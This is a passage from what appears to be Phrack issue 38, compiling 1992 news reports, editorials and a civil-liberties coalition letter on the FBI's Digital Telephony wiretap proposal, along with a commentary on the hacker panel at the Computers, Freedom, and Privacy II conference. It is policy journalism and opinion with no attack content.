Rep. Cooper (D‑Tenn.) said that his legislation to put conditions on RHC provision of information services (HR‑3515) didn't have much chance of success >from time bill was introduced. At panel discussion in Washington sponsored by National Press Forum, he said outlook for bill was "pretty grim," and that only hope for success would be if powerful committee chairman came to rescue. That's unlikely, he said.

Cooper said he has about 48 co‑sponsors for bill and Senate version (S‑2112) has none. In strong attack on RHCs, he said RHCs were responsible for lack of support and said members of Congress were intimidated by ad campaign against sponsors and co‑sponsors of HR‑3515 ‑‑ what he termed "a $150,000 penalty" for sponsoring legislation. Cooper also criticized RHCs for sponsoring organizations without letting the public know of their interest, naming specifically Small Business for Advertising Choice, with headquarters in Washington. He said he didn't mind legitimate "grass‑roots" campaigns, but objected to "Astroturf campaigns."

Disputes with RHCs broke into the open dramatically during Cooper's intense exchange with Southwestern Bell Vice‑President Horace Wilkins, head of RHC's Washington office. Cooper said that if RHCs were truly interested in providing information services, they would push for sponsorship of amendment to cable reregulation legislation to allow telco entry. But Bells were "AWOL" on issue, Cooper said, even though there are members of House Telecom Subcommittee who would introduce such amendment if RHCs asked. Wilkins said one House chairman, whom he declined to name, had told RHCs not to participate by pushing telco entry amendment. Cooper responded: "Who told you?" He told Wilkins: "You have the opportunity of a lifetime."

Wilkins challenged Cooper: "Why don't you take the lead" and introduce amendment? Cooper replied he would do so if SWB would promise its support. Wilkins responded: "If it's the right thing, we'll be with you." Cooper replied that RHCs reportedly had been told not to push for such amendment, and neither he nor Wilkins would say which powerful House figure was against telco entry. Without RHC backing, any introduction of telco entry amendment "would have zero support," Cooper said. He said RHCs have backed away from active support of legislation to lift the MFJ manufacturing bar because they're afraid his measure might be attached to it. Wilkins disagreed, saying RHCs were backing the bill.

Mark MacCarthy, Cap/ABC vice‑president, said the strongest argument against RHC entry into information services is that there's no evidence that "new and better information" would be provided to public. RHCs could provide more efficient network architectures and distribution, he said, but "not better programming." There's a historical example of "dark side of diversity" in which radio programmers once supported live symphony orchestras and provided quality content, MacCarthy said, but now, in an era in which there are many competitors, most stations obtain most of their programming free, on tape from record companies.

The Digital Telephony Proposal

==Phrack Inc.==

Volume Four, Issue Thirty‑Eight, File 11 of 15

The Digital Telephony Proposal

by the Federal Bureau of Investigation

Phone Tapping Plan Proposed March 6, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Associated Press

Law Enforcement Agencies Would Have Easier Access

WASHINGTON ‑‑ The Bush administration wants you to pay a little more for telephone service to make it easier for the FBI or local police to listen in on the conversations of suspected criminals.

The Justice Department is circulating a proposal in Congress that would force telephone companies to install state‑of‑the‑art technology to accommodate official wiretaps. And it would authorize the Federal Communications Commission to grant telephone companies rate increases to defray the cost.

A copy of the legislation was obtained by The Associated Press.

Attorney General William Barr discussed the proposal last week with Senator Ernest Hollings, D‑S.C., chairman of the Senate Commerce Committee, which oversees the FCC according to congressional sources who spoke on condition of anonymity.

Justice Department spokesman Paul McNulty refused to comment on the proposal.

The bill was drafted by the FBI and the Justice Department in response to dramatic changes in telephone technology that make it difficult for traditional wiretapping methods to pick up conversations between two parties on a telephone line.

The Justice Department's draft proposal states that the widespread use of digital transmission, fiber optics and other technologies "make it increasingly difficult for government agencies to implement lawful orders or authorizations to intercept communications in order to enforce the laws and protect the national security."

The FBI has already asked Congress for $26.6 million in its 1993 fiscal year budget to help finance a five‑year research effort to help keep pace with the changes in telephone technology.

With the new technology that is being installed nationwide, police can no longer go to a telephone switching center and put wiretap equipment on designated lines.

The advent of so‑called digital transmission means that conversations are broken into bits of information and sent over phone lines and put back together at the end of the wire.

The bill would give the FCC 180 days to devise rules and standards for telephone companies to give law enforcement agencies access to conversations for court‑ordered wiretapping.

The attorney general would be empowered to require that part of the rulemaking proceedings would be closed to the public, to protect the security of eavesdropping techniques used by law enforcement.

Phone companies would have 180 days to make the necessary changes once the FCC issues the regulations.

The bill would prohibit telephone companies and private exchanges from using equipment that doesn't comply with the new FCC technology standards.

It would give the attorney general power to seek court injunctions against companies that violate the regulations and collect civil penalties of $10,000 a day.

It also would give the FCC the power to raise telephone rates under its jurisdiction to reimburse carriers. The FCC sets interstate long distance rates and a monthly end‑user charge ‑‑ currently $2.50 ‑‑ that subscribers pay to be connected to the nationwide telephone network.

Telephone companies will want to examine the proposal to determine its impact on costs, security of phone lines and the 180‑day deadline for implementing the changes, said James Sylvester, director of infrastructure and privacy for Bell Atlantic.

Though no cost estimates were made available, Sylvester estimated it could cost companies millions of dollars to make the required changes. But rate hikes for individual customers would probably be quite small, he said.

________________________________________

As Technology Makes Wiretaps More Difficult, F.B.I. Seeks Help March 8, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Anthony Ramirez (New York Times)(Page I12)

The Department of Justice says that advanced telephone equipment in wide use around the nation is making it difficult for law‑enforcement agencies to wiretap the phone calls of suspected criminals.

The Government proposed legislation requiring the nation's telephone companies to give law‑enforcement agencies technical help with their eavesdropping. Privacy advocates criticized the proposal as unclear and open to abuse.

In the past, the Federal Bureau of Investigation and other agencies could simply attach alligator clips and a wiretap device to the line hanging from a telephone pole. Law‑enforcement agents could clearly hear the conversations. That is still true of telephone lines carrying analog transmissions, the electronic signals used by the first telephones in which sounds correspond proportionally to voltage.

But such telephone lines are being steadily replaced by high‑speed, highcapacity lines using digital signals. On a digital line, F.B.I. agents would hear only computer code or perhaps nothing at all because some digital transmissions are over fiber‑optic lines that convert the signals to pulses of light.

In addition, court‑authorized wiretaps are narrowly written. They restrict the surveillance to particular parties and particular topics of conversation over a limited time on a specific telephone or group of telephones. That was relatively easy with analog signals. The F.B.I. either intercepted the call or had the phone company re‑route it to an F.B.I. location, said William A. Bayse, the assistant director in the technical services division of the F.B.I.

But tapping a high‑capacity line could allow access to thousands of conversations. Finding the conversation of suspected criminals, for example, in a complex "bit stream" would be impossible without the aid of phone company technicians.

There are at least 140 million telephone lines in the country and more than half are served in some way by digital equipment, according to the United States Telephone Association, a trade group. The major arteries and blood vessels of the telecommunications network are already digital. And the greatest part of the system, the capillaries of the network linking central telephone offices to residences and businesses, will be digital by the mid1990s.

Thousand Wiretaps

The F.B.I. said there were 1,083 court‑authorized wiretaps ‑‑ both new and continuing ‑‑ by Federal, state, and local law‑enforcement authorities in 1990, the latest year for which data are available.

Janlori Goldman, director of the privacy and technology project for the American Civil Liberties Union, said she had been studying the development of the F.B.I. proposal for several months.

"We are not saying that this is not a problem that shouldn't be fixed," she said, "but we are concerned that the proposal may be overbroad and runs the risk that more information than is legally authorized will flow to the F.B.I.

In a news conference in Washington on Friday, the F.B.I. said it was seeking only to "preserve the status quo" with its proposal so that it could maintain the surveillance power authorized by a 1968 Federal law, the Omnibus Crime Control and Safe Streets Act. The proposal, which is lacking in many details is also designed to benefit state and local authorities.

Under the proposed law, the Federal Communications Commission would issue regulations to telephone companies like the GTE Corporation and the regional Bell telephone companies, requiring the "modification" of phone systems "if those systems impede the Government's ability to conduct lawful electronic surveillance."

In particular, the proposal mentions "providers of electronic communications services and private branch exchange operators," potentially meaning all residences and all businesses with telephone equipment.

Frocene Adams, a security official with US West in Denver is the chairman of Telecommunications Security Association, which served as the liaison between the industry and the F.B.I. "We don't know the extent of the changes required under the proposal," she said, but emphasized that no telephone company would do the actual wiretapping or other surveillance.

Computer software and some hardware might have to be changed, Ms. Adams said, but this could apply to new equipment and mean relatively few changes for old equipment.

________________________________________

FBI Wants To Ensure Wiretap Access In Digital Networks March 9, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Taken from Communications Daily (Page 1)

Proposed legislation being floated by Justice Dept. and FBI would require RHCs and equipment manufacturers to reengineer their products so that federal, state and local law enforcement agencies could wiretap digital communications systems of all types, Bureau said. The proposal is a "collaborative effort" at "highest levels" involving law enforcement officials, government agencies, telephone executives and equipment manufacturers, said John Collingwood of FBI's office for legislative affairs. It seeks to authorize FCC to grant telcos rate increases to defray the cost of reengineering the network to bring it into compliance.

Associated Press reported Attorney General William Barr discussed the proposal last week with Sen. Hollings (D.‑S.C.), chairman of Senate Commerce Committee; however, Committee staffers wouldn't comment. Sources at FCC said they hadn't heard of the proposal, and neither had several RHCs we contacted.

The bill was drafted by FBI and Department in response to what FBI Director William Sessions said were dramatic changes in telephone technology that have "outpaced" government ability to "technologically continue" its wiretapping activities. James Kallestrom, FBI's chief of technical services section, said the bill wouldn't extend the Bureau's "court‑authorized" electronic surveillance authority, but would seek simply to maintain status quo with digital technology. New legislation is needed because law enforcement agencies no longer can go into a switching center and place a tap on single phone line, owing to complex digital multiplexing methods that often route number and voice signals over different channels. Kallestrom said digital encoding also doesn't allow specific wiretap procedures, unlike analog systems, which use wave forms. Bureau wants telephone companies and equipment manufacturers to "build in" the ability to "give us what we want." He said legislation wouldn't mandate how companies comply, only that they do. William Bayse, chief of FBI's Technical Services Division, said the reengineering process would be "highly complex" but could be done at the software level.

The FBI said it has been in contact with all telcos and "several" equipment manufacturers to get their input to determine feasibility. Bayse said FBI had done preliminary cost analysis and estimated changes would run into "tens of millions," declining to narrow its estimates further. The bill would give FCC the authority to allow RHCs to raise rates in order to make up the costs of implementing the new procedures. Although FBI didn't have any specifics as to how FCC would go about setting those rates, or whether state PUCs would be involved in the process, they speculated that consumer telephone rates wouldn't go up more than 20 cents per month.

The bill would give FCC 120 days to devise rules and standards for telcos to bring the public network into compliance. However, the Commission isn't a standards‑making body. When questioned about the confusing role that the bill would assign to FCC, FBI's Collingwood said: "The FCC is the agency that deals with phone companies, so we put them in charge." He acknowledgedn that the bill "needs work" but said the FBI was "surprised" by the leak to press. However, he said that the language was in "very early stages" and that FBI wasn't averse to any changes that would bring swifter passage.

Other confusing aspects of proposal: (1) Short compliance time (120 days) seems to bypass FCC's traditional rulemaking procedures, in which the public is invited to submit comments; (2) No definition is given for "telecommunications equipment or technology;" (3) Provision that the attorney general direct that any FCC proceeding concerning "regulations, standards or registrations issued or to be issued" be closed to the public again would violate public comment procedures.

FBI said legislation is the "least costly alternative" in addressing the issue. It said software modifications in equipment now would save "millions of dollars" over making changes several years from now. However, the agency couldn't explain how software programming changes grew more expensive with time. FBI's Kallestrom said: "Changes made now can be implemented easier over time, rather than having to write massive software changes when the network gets much more complicated." FBI already has asked Congress for $26.6 million in its proposed 1993 budget to help finance a 5‑year research effort to help keep pace with changes in telephone technology. Asked why that money couldn't be used to offset the price of government‑mandated changes as the bill would require, FBI declined to comment, saying: "We may look at having government offset some of the cost as the bill is modified."

________________________________________

CPSR Letter on FBI Proposal March 9, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~

By David Banisar (CPSR) <banisar@washofc.cpsr.org>

CPSR and several other organizations sent the following letter to Senator Patrick Leahy regarding the FBI's recent proposal to undertake wire surveillance in the digital network.

If you also believe that the FBI's proposal requires further study at a public hearing, contact Senator Hollings at the Senate Committee on Commerce. The phone number is (202)224‑9340.

Dave Banisar,

CPSR Washington Office

========================================

March 9, 1992

Chairman Patrick Leahy

Senate Subcommittee on Law and Technology

Committee on the Judiciary

United States Senate

Washington, DC 20510

Dear Senator Leahy,

We are writing to you to express our continuing interest in communications privacy and cryptography policy. We are associated with leading computer and telecommunication firms, privacy, civil liberties, and public interest organizations, as well as research institutions and universities. We share a common concern that all policies regarding communications privacy and cryptography should be discussed at a public hearing where interested parties are provided an opportunity to comment or to submit testimony.

Last year we wrote to you to express our opposition to a Justice Department sponsored provision in the Omnibus Crime Bill, S. 266, which would have encouraged telecommunications carriers to provide a decrypted version of privacy‑enhanced communications. This provision would have encouraged the creation of "trap doors" in communication networks. It was our assessment that such a proposal would have undermined the security, reliability, and privacy of computer communications.

At that time, you had also convened a Task Force on Privacy and Technology which looked at a number of communication privacy issues including S. 266. The Task Force determined that it was necessary to develop a full record on the need for the proposal before the Senate acted on the resolution.

Thanks to your efforts, the proposal was withdrawn.

We also wish to express our appreciation for your decision to raise the issue of cryptography policy with Attorney General Barr at his confirmation hearing last year. We are pleased that the Attorney General agreed that such matters should properly be brought before your Subcommittee for consideration.

We write to you now to ask that you contact the Attorney General and seek assurance that no further action on that provision, or a similar proposal, will be undertaken until a public hearing is scheduled. We believe that it is important to notify the Attorney General at this point because of the current attempt by the administration to amend the Federal Communications Commission Reauthorization Act with provisions similar to those contained in S. 266.

We will be pleased to provide assistance to you and your staff.

Sincerely yours,

Marc Rotenberg,

Computer Professionals for Social Responsibility

David Peyton,

ITAA

Ira Rubenstein,

Microsoft

Jerry Berman,

Electronic Frontier Foundation

Michael Cavanaugh,

Electronic Mail Association

Martina Bradford,

AT&T

Evan Hendricks,

US Privacy Council

Professor Dorothy Denning,

Georgetown University

Professor Lance Hoffman,

George Washington University

Robert L. Park,

American Physical Society

Janlori Goldman,

American Civil Liberties Union

Whitfield Diffie,

Sun Microsystems

John Podesta,

Podesta and Associates

Kenneth Wasch,

Software Publishers Association

John Perry Barlow,

Contributing Editor, Communications of the ACM

David Johnson,

Wilmer, Cutler & Pickering

cc: Senator Joseph R. Biden, Jr

Senator Hank Brown

Senator Ernest F. Hollings

Senator Arlen Specter

Senator Strom Thurmond

Representative Don Edwards

Attorney General Barr

Chairman Sikes, FCC

________________________________________

FBI, Phone Firms in Tiff Over Turning on the Taps March 10, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By John Mintz (Washington Post)(Page C1)

Technology Has Made Eavesdropping Harder

The FBI says technology is getting ahead of taps.

The bureau says the digital technology in new telephone networks is so complicated ‑‑ it translates voices into computerized blips, then retranslates them into voices at the other end ‑‑ that agents can't capture conversations.

So the FBI wants a law requiring phone companies to re‑engineer their new phone networks so the taps work again.

But the phone companies warn that the proposal could raise ratepayers' monthly bills.

And civil liberties groups say the technological changes sought by the FBI could have an unintended effect, making it easier for criminals, computer hackers and even rogue phone company employees to tap into phone networks.

"We have grave concerns about these proposals," said Jim McGann, a spokesman for AT&T. "They would have the effect of retarding introduction of new services and would raise prices."

Bell Atlantic Corporation, owner of Chesapeake & Potomac Telephone Company here, said the changes could cost its own ratepayers as much as hundreds of millions of dollars.

The cause of the FBI's concern is a new generation of digital technologies in which phone conversations are translated into the computer language of zeroes and ones, then bundled with other conversations for speedy transmission, and finally retransformed into voices.

Another problem for the FBI is fiber‑optic technology, in which conversations are changed into pulses of light zapped over hair‑thin strands of glass. The U.S. government has delayed sales of fiber‑optic equipment to the former Soviet Union because of the difficulty of tapping it.

The FBI proposed a law requiring phone companies to modify their networks to make wiretaps easier. The agency would still have to obtain a court order to tap a line, as it does now. It also proposed allowing the Federal Communications Commission to let the phone companies pass the costs on to consumers and letting the FCC consider the issues in closed‑door hearings to keep secret the details of phone system security.

"Without an ultimate solution, terrorists, violent criminals, kidnappers, drug cartels and other criminal organizations will be able to carry out their illegal activities using the telecommunications system without detection," FBI Director William S. Sessions said in a prepared statement. "This proposal is critical to the safety of the American people and to law enforcement officers."

In the past, investigators would get the phone company to make adjustments at switching facilities, or would place taps at junction boxes ‑‑ hard metal structures on concrete blocks in every neighborhood ‑‑ or even at telephone junction rooms in the basements of office and apartment buildings.

But sometimes tappers get only bursts of electronic blipping. The FBI said the new technologies have defeated wiretap attempts on occasion ‑‑ but it declined to provide details.

To get the blips retranslated back into conversation, tappers have to place their devices almost right outside the targeted home or office. Parking FBI trucks outside targets' houses "could put agents in danger, so it's not viable," said Bell Atlantic spokesman Kenneth A. Pitt.

"We don't feel our ratepayers should pay that money" to retool networks, said Bill McCloskey, spokesman for BellSouth Corporation, a major phone company based in Atlanta.

Since there are 150 million U.S. phone lines, a cost of $ 1 billion that's passed on to ratepayers could translate into about $ 6.60 per consumer, industry officials said.

Rather than charge ratepayers, Pitt said, the government should pay for the changes. Bell Atlantic prefers continued FBI and industry talks on the subject to a new law.

The FBI proposes that within 120 days of enactment of the law it seeks, the FCC would issue regulations requiring technological changes in the phone system and that the modifications be made 60 days after that. The FCC rarely moves on even the simplest matter in that time, and this could be one of the most complex technological questions facing the government, congressional and industry sources said.

Given the huge variety of technologies that could be affected ‑‑ regular phone service, corporate data transmissions, satellite and microwave communications, and more ‑‑ one House staffer said Congress "will have to rent RFK Stadium" to hold hearings.

Marc Rotenberg, a lawyer who has attended meetings with FBI and phone company officials on the proposal, said the FBI, by taking the issue to congressional communications committees, is trying to make an end run around the judiciary committees.

Last year, the Senate Judiciary Committee, responding to civil libertarians' protests, killed an FBI proposal to require that encrypted communications ‑such as banks' secret data transmissions ‑‑ be made available in decoded form.

Representative Edward J. Markey (D‑Mass.), who chairs the House subcommittee handling the latest FBI proposal, said the plan has troubling overtones of "Big Brother" about it.

________________________________________

Let's Blow the Whistle on FBI Phone‑Tap Plan March 12, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Editorial taken from USA Today (Page 6A)

OUR VIEW ‑ Congress should disconnect this unneeded and dangerous eavesdropping scheme as soon as possible

The FBI ‑‑ lambasted in the past for wiretapping and amassing files on thousands of "subversives" such as Martin Luther King ‑‑ seems determined to prove that consistency is a virtue.

The Bureau wants phone companies to make costly changes that critics say could let agents eavesdrop on your phone calls without detection ‑‑ and boost your phone bill to pay for it.

The FBI says that this new law is needed because it can't wiretap all calls transmitted with the new digital technology. It also wants the public barred when it explains all this to Congress.

Wisely, lawmakers show signs of balking. They're already preparing for highprofile hearings on the proposal.

Congress, though, should go much further. It should pin the FBI's wiretap plan to the wall and use it for target practice. Here are just a few of the spots at which to take aim:

*Rights: The FBI says it is still would get court approval before tapping, but experts say if the agency gets its way, electronic eavesdropping would be far easier and perhaps untraceable. The FBI's plan, they say, could make a mockery of constitutional rights to privacy and against unreasonable searches.

*Need: Some phone companies say they are already meeting FBI wiretap requirements and question whether the agency really needs a new law ‑‑ or just would find it convenient. The FBI says it can't tap some digital transmissions ‑‑ but it hasn't given any specifics.

*Honesty: The FBI tried to evade congressional review by financing its plan with a charge to phone users.

The bureau must have realized the reception this shady scheme could expect: It tried to slip it though Congress' side door, avoiding the committees that usually oversee FBI operations.

Over the decades, wiretaps have proved invaluable in snaring lawbreakers. Used selectively and restrained by judicial oversight, they're a useful weapon, especially against organized crime.

But if catching gangsters never should take precedence over the rights the Constitution guarantees the citizens who try to follow the law, not break it.

________________________________________

Back to Smoke Signals? March 26, 1992

~~~~~~~~~~~~~~~~~~~~~~

An editorial from The Washington Post

The Justice Department spent years in court breaking up the nation's telecommunications monopoly in order to foster competition and technological advances. Now the same department has gone to Congress asking that improvements in telecommunications technology be halted, and in some cases even reversed, in the name of law enforcement. The problems facing the FBI are real, but the proposed solution is extreme and unacceptable on a number of grounds.

Wiretaps are an important tool in fighting crime, especially the kind of large‑scale, complicated crime ‑‑ such as drug conspiracies, terrorism and racketeering ‑‑ that is the responsibility of the FBI. When they are installed pursuant to court order, taps are perfectly legal and usually most productive. But advances in phone technology have been so rapid that the government can't keep up. Agents can no longer just put a tap on phone company equipment a few blocks from the target and expect to monitor calls. Communications occur now through regular and cellular phones via satellite and microwave, on fax machines and computers. Information is transmitted in the form of computer digits and pulses of light through strands of glass, and none of this is easily intercepted or understood.

The Justice Department wants to deal with these complications by forbidding them. The department's proposal is to require the Federal Communications Commission to establish such standards for the industry "as may be necessary to maintain the ability of the government to lawfully intercept communications." Any technology now in use would have to be modified within 180 days, with the costs passed on to the rate payers. Any new technology must meet the suitable‑for‑wiretap standard, and violators could be punished by fines of $10,000 a day. As a final insult, commission proceedings concerning these regulations could be ordered closed by the attorney general.

The civil liberties problems here are obvious, for the purposeful designing of telecommunications systems that can be intercepted will certainly lead to invasions of privacy by all sorts of individuals and organizations operating without court authorization. Further, it is an assault on progress, on scientific endeavor and on the competitive position of American industry. It's comparable to requiring Detroit to produce only automobiles that can be overtaken by faster police cars. And it smacks of repressive government.

The proposal has been drafted as an amendment rather than a separate bill, and there is some concern that it will be slipped into a bill that has already passed one house and be sent quietly to conference. That would be unconscionable. We believe, as the industry suggests, that the kind of informal cooperation between law enforcement agencies and telecommunications companies that has always characterized efforts in the past, is preferable to this stifling legislation. But certainly no proposal should be considered by Congress without open and extensive hearings and considerable debate.

________________________________________

The FBI's Latest Idea: Make Wiretapping Easier April 19, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Anthony Ramirez (New York Times)(Section 4, Page 2)

Civil libertarians reacted quickly last month when the Federal Bureau of Investigation proposed new wiretapping legislation to cope with advanced telephone equipment now being installed nationwide.

The FBI, which has drafted a set of guidelines, but has as yet no sponsor in Congress, said the latest digital equipment was so complicated it would hinder the agency's pursuit of mobsters, terrorists and other criminals. But civil liberties groups like the American Civil Liberties Union, joined by several major telephone companies like American Telephone and Telegraph Company, described the proposal as unclear, open to abuse and possibly retarding the pace of technological innovation.

Civil libertarians fear a shift from a world where wiretaps are physically onerous to install, therefore forcing the FBI to think twice about their use, to a world where surveillance is so easy that a few pecks on an FBI key pad would result in a tap of anyone's telephone in the country.

The inventive computer enthusiasts who call themselves hackers are also calling the legislation unnecessary. If teenagers can quickly cope with such equipment, they argue, so can the FBI.

"The easier it is to use, the easier it is to abuse," said Eric Corley, editor of 2600 magazine, a quarterly publication "by and about computer hackers."

According to the FBI, in 1990, the latest year for which data are available, there were 1,083 court‑authorized wiretaps ‑‑ both new and continuing ‑‑ by Federal, state and local law‑enforcement authorities. Robert Ellis Smith, publisher of Privacy Journal, said the relatively small number of wiretaps reflects the difficulty of obtaining judicial permission and installing the devices. Moreover, he said, many cases, including the John Gotti case, were solved with eavesdropping devices planted in rooms or on an informant.

Besides, Mr. Smith said, complicated digital equipment shares similarities with obstacles free of technology. "Having a criminal conversation on a digital fiber‑optic line," he said, "is no different from taking a walk in the park and having the same conversation." And no one, he added, would think of requiring parks to be more open to electronic surveillance.

At issue are the latest wonders of the telecommunications age ‑‑ digital transmission and fiber‑optic cables. In the standard analog transmission, changes in electrical voltage imitate the sound of a human voice. To listen in, the FBI and other agencies attach a device to a line from a telephone pole.

A Computer Hiss or Nothing

Today phone systems are being modernized with high‑speed, high‑capacity digital lines in which the human voice is converted into computer code. Moreover, a fiber‑optic line in digital mode, which carries information as pulses of light, carries not only clear conversations but a myriad of them. Using a wiretap on a digital line, FBI agents would hear only a computer hiss on a copper cable, nothing at all on a fiber‑optic line.

There are at least 140 million telephone lines in the country, and more than half are served in some way by digital equipment, according to the United States Telephone Association, a trade group. However, less than 1 percent of the network is fiber optic.

The legislation proposed by the FBI would, in effect, require the licensing of new telephone equipment by the Federal Government so the agency could wiretap it. Telephone companies would have to modify computers and software so that agents could decipher the digital bit stream. The cost of the modification would be passed on to rate payers.

"Phone companies are worried about the sweep of this legislation," said Jerry Berman, director of the Electronic Frontier Foundation, who solicited the support of the phone companies for a protest letter to Congress. By requiring the FCC to clear new technology, innovation could be slowed, he said. "We're not just talking about just local and long‑distance calls," Mr. Berman said. "We're talking about CompuServe, Prodigy and other computer services, electronic mail, automatic teller machines and any change in them."

Briefcase‑Size Decoders

One telecommunications equipment manufacturer said he was puzzled by the FBI proposal. "The FBI already has a lot of technology to wiretap digital lines," he said, on condition of anonymity.

He said four companies, including such major firms as Mitel Corporation, a Canadian maker of telecommunications equipment, can design digital decoders to convert computer code back into voice. A portable system about the size of a large briefcase could track and decode 36 simultaneous conversations. A larger system, the size of a small refrigerator, could follow up to 1,000 conversations. All could be done without the phone company.

James K. Kallstrom, the FBI's chief of technology, acknowledged that the agency was one of Mitel's largest customers, but said the equipment hackers and others describe would be "operationally unfeasible."

The FBI was more worried about emerging technologies like personal communications networks and services like call forwarding. "Even if we used the equipment the hackers say we should use," Mr. Kallstrom said, "all a criminal would have to do is call‑forward a call or use a cellular telephone or wireless data transfer to defeat me."

PWN Special Report VI on CFP-2

==Phrack Inc.==

Volume Four, Issue Thirty‑Eight, File 12 of 15

PWN ^*^ PWN ^*^ PWN ^*^ { CFP‑2 } ^*^ PWN ^*^ PWN ^*^ PWN

^*^

PWN P h r a c k W o r l d N e w s PWN

^*^ ~~~~~~~~~~~ ~~~

PWN Special Edition Issue Six PWN

^*^

PWN Computers, Freedom, & Privacy II PWN

^*^

PWN March 18‑20, 1992 PWN

^*^

PWN Written by Max Nomad PWN

^*^

PWN ^*^ PWN ^*^ PWN ^*^ { CFP‑2 } ^*^ PWN ^*^ PWN ^*^ PWN

Computers, Freedom, & Privacy II Random Notes and Mission X Telegraphs from the Nation's Capitol

by Max Nomad

Originally, when I read the brochure on the second "Computers, Freedom, and Privacy Conference," I saw opportunity knocking at my door: Three days at the Loew's L'Enfant Plaza Hotel in Washington, D.C. stalking around a series of meetings all geared toward telecommunications, as well as the high potential for mischief; techno‑gurus, privacy advocates, computer outlaws, corporate bigwigs, and lastly feds, a few of which who were casually walking around with automatic weapons disguised as black tote‑bags. There was no telling what those hackers were capable of, I'm sure, so the beefed up security was necessary.

Upon learning that Basil Rouland, Inc., an information systems security firm, had secured a press pass and transportation, my excitement grew. I wasn't sure what kind of story I would bring back from the trip, or if I would find a unique story at all. Fortunately, the conference topics provided dozens of angles to take on, more than I care list. My previous article and notes alone on the event were upwards of 25k, mostly filled with mundane excerpts and quotes from various panelists. If you're interested in a blow‑by‑blow account of CFP‑2, it's available on VHS; contact bkoball@well.sf.ca.us for more details.

For the readers of PHRACK, a different perspective was in order. The following commentary has been taken strictly from my notes and thoughts on the underground showing.

Overall, this year's CFP was a success. The panel discussions on everything >from the issues of privacy to Internet to cryptography and security were informative, even enlightening. After three days of non‑stop conferences on these subjects I realized just how much of a runaway horse technology is to our federal government. Big Brother is definitely out there, but he's got fast competition coming up from the private sector. And special thanks to CRAIG NEIDORF, who graciously donated his name to modern science and the EFF. This individual's case was referred to more times than Roe v. Wade; personally, Craig, if I were you, I'd put a trademark on it and charge by the usage. In any case, this year's CFP conference was a success. Congrats are in order for the organizers and volunteers. Anyone who is seriously interested in computer networks, security, and what the big fish are up to should attend. Also, members of the press are welcome.

Daily, in the aftermath of the conferences, "Birds of a Feather" sessions were held in the meeting rooms. At best, these were well structured discussions for people of similar interests. At worst, they were lame farces, such as the "Why Don't They Understand" discussion, where unofficial representatives of the underground were given a forum to supposedly voice their opinions.

The panel consisted of Glen Tenney (organizer of the annual Hacker's conference), Knight Lightning (founder of Phrack, abused civil rights poster child for the EFF), Dispater (current publisher of Phrack), Emmanuel Goldstein (editor/publisher of 2600 magazine, host of "Off the Hook" [WBAI radio, New York]), Phiber Optik (hacker/phreak currently receiving a great deal of "fan harassment" by the authorities), Steven Levy (MacWorld, author of _Hackers_), Dorothy Denning (Computer Science Department, Georgetown University), and the panel chair was John McMullen of McMullen & McMullen. Aside from a few hackers and law officials in the audience, the curious and uninformed filled the meeting room to capacity. There was definitely a sense of anticipation prior to the start of the discussion; it didn't take a private eye to know that one way or the other, this was going to be a show.

And it was.

Steven Levy gave a neutral dissertation to the meaning of the word "hacker" as it was when he published his book by the same name back in 1986: programmers and electronics hobbyists supposedly with purer intentions, many of which that went on to make revolutionary waves in the computer industry. Hackers and phone phreaks like Wozniak and Jobs are two of those heroes of yesteryear's underground. But as with the rest of society, nostalgia always casts a darker tint on the present. Those heroes would be considered the maniacal high‑tech terrorists of today, thanks to a combination of media sensationalism, a few malicious idiots on both sides of the law, and the general public opinion that hackers are to be feared like hardened outlaws ‑‑ all of which stems from varying degrees of ignorance.

Dorothy Denning appended Levy's statement with an objective view, pointing out the fact that neither side seems to fully understand what it's like to walk in the other's shoes, befitting the title of the next session. Another perfect neutrality. Tenney interjected with a somewhat polished speech about what it was to be a hacker (i.e. programmer) back in his day, uttered a few slants directed at certain people, both of which smoothly establishing the slight anti‑hack tone that would end up carrying on until this session ended. Upon finding out this man is supposedly running for Congress in some state, I was even less surprised. It was as if he smelled what the crowd wanted to hear, then cooked it up enough to feed everyone. He's pretty good. He'll probably get the seat he's shooting for.

In his best radio voice, Emmanuel Goldstein immediately returned the volley to previous statements, also adding a few interpretations of his own: the feeling of learning and exploring, even in forbidden regions, how it is unhealthy to put restrictions on thought and discovery, and how it is the complacency of the other side that the underground is making use of. He also brought up a very good point concerning the Dutch and how many of the system administrators over there are making use of hackers in the bullet‑proofing of their systems. The distrust of most American sysadmins along with the level of arrogance in some cases almost makes such cooperation ludicrous over here in the states. Shame.

Each underground member of the panel eventually made his or her statement, including Phiber Optik's tale of how a certain New York State Police officer and gang rolled up on his home like the DEA and awakened him from his sleep at gun point. Whether by coincidence or not, the officer in charge of the arrest was standing in the back of the room. Of course, the voice of authority had to make a statemental come‑back on the topic. In that instant it became obvious that having hacks and law enforcement in the same room wasn't the best vehicle for accurately portraying views. Neither side was prone to be open and honest with the other watching with anticipation. Any hack who was not under investigation wouldn't dare open up and speak, and any hack currently under investigation couldn't speak honestly; no one wants to speak his piece bad enough to get indicted. The feds were in the same boat, since they couldn't openly discuss any pending cases, as well as keeping a lid on any of their trade secrets; a catch‑22 that further solidified the misconceptions of those in the middle: the image of hackers as chaotic compu‑hoodlums and law enforcement officials as determined yet uninformed trackers.

In all honesty, this session came off like a side show, and the hackers like circus freaks. With two prominent underground publishers, an ex‑hack/publisher turned representative of the EFF, and a hack/phreak currently under investigation, there was no alternative but to stutter and give vague answers to delicate questions and even then that only applied to those occasions where they could speak their minds uninterrupted. Self‑preservation and the felonious core of this topic made every answer a forfeited one before it was given. Any well‑informed spectator knew this. So did the feds, who were probably chuckling to themselves the entire time. Absolutely no resolutions were made either way. Truthfully, the feds gained brownie points on this one. The hacker perspective wasn't accurately presented and the masses would continue to live ignorance of the underground.

